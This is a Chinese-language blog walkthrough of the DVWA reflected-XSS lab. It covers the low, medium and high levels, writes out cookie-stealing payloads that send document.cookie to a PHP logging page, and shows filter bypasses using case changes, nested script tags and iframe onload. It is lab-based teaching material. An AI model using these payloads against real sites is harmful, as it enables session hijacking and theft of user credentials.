【DVWA(四)】XXS反射型跨站攻击
XXS反射型跨站攻击(Reflected Cross Site Scripting)
概要:
跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。如这句简单的Javascript脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。
跨站脚本攻击分类:
1、持久型XSS,又称存储型XSS
2、非持久型XSS,又称反射型XSS
3、DOM-XSS,DOM(文档对象模型)
其中持久型的危害较大,其余两种目前貌似还没出现大范围、自动化的危害手段,不过已经有人可以把非持久型的跨站的危害最大化,当然对个人技术要求比较高。
对于非持久型的跨站漏洞来说,应该还是属于鸡肋漏洞,不过现在关于如何扩大这种漏洞的危害已经有了一定发展,并且有人成功利用这种漏洞造成了不小的危害。反射型XSS摘掉“鸡肋漏洞”的帽子已经不远了。
本篇以DVWA四个等级进行研究,期间穿插hackbar等的使用,发现不理解的,可以翻看之前的随笔,欢迎留言斧正。
low:
恰好在听歌,就先用歌曲插进去试试:
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=86 src="//music.163.com/outchain/player?type=2&id=1305364671&auto=1&height=66"></iframe>
哦吼可以的。因此可见,xss漏洞就是在输入内容上动手脚!
现在正式开始:
1.用alert试试
<script>alert("test")</script>
发现可以
2.既然可以,那就继续获取cookie
写php文件:
<?php $cookie=$_GET['cookie']; file_put_contents('get_low_dvwa_cookie.txt',$cookie); ?>
放到www文件夹下。
3.利用漏洞把cookie发送到刚刚的php文件中:
<script>document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie</script>
可以在输入框输入以上代码,也可以在hackbar里name="code...",注意用url encode
4.这时候可以看见获取了cookie并保存了文件
5.利用cookie进行登录【这部分暂时还没研究,挖坑!】
medium:
1.继续尝试alert,发现不可行
2.用<SCRIPT>进行尝试,发现ok
3.查看源码:
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
可见<script>无效,因此我们用大写之后就ok了。
除了大小写组合,还可以利用<scr<script>ipt>进行绕过。
XXS漏洞发现,之后跟low完全一样了
high:
1.用alert尝试:
不行,并且返回'>'
2.用大小写组合尝试
不行
3.但是用之前的那个网易云音乐尝试可行
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=86 src="//music.163.com/outchain/player?type=2&id=1305364671&auto=1&height=66"></iframe>
4.因此可以判断,仅仅对script进行了处理!
用<iframe onload=alert("test")>测试,可行!
5.相当于利用iframe嵌入新的HTML
<iframe onload=document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie>
成功!
impossible:
// Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
暂时无解
后记:
关于合天网安那一课后面的三个问号的思考:
1)跨站漏洞的原理是什么?
没有对输入内容进行相应处理,如果像impossible那样处理,就能很好的保护了。
2)一般如何挖掘跨站漏洞?alert、iframe等等
3)现在如果你发现一个跨站漏洞你该如何利用?收集cookie,登录后台,已经挖坑,之后补一个实践操作的随笔记录。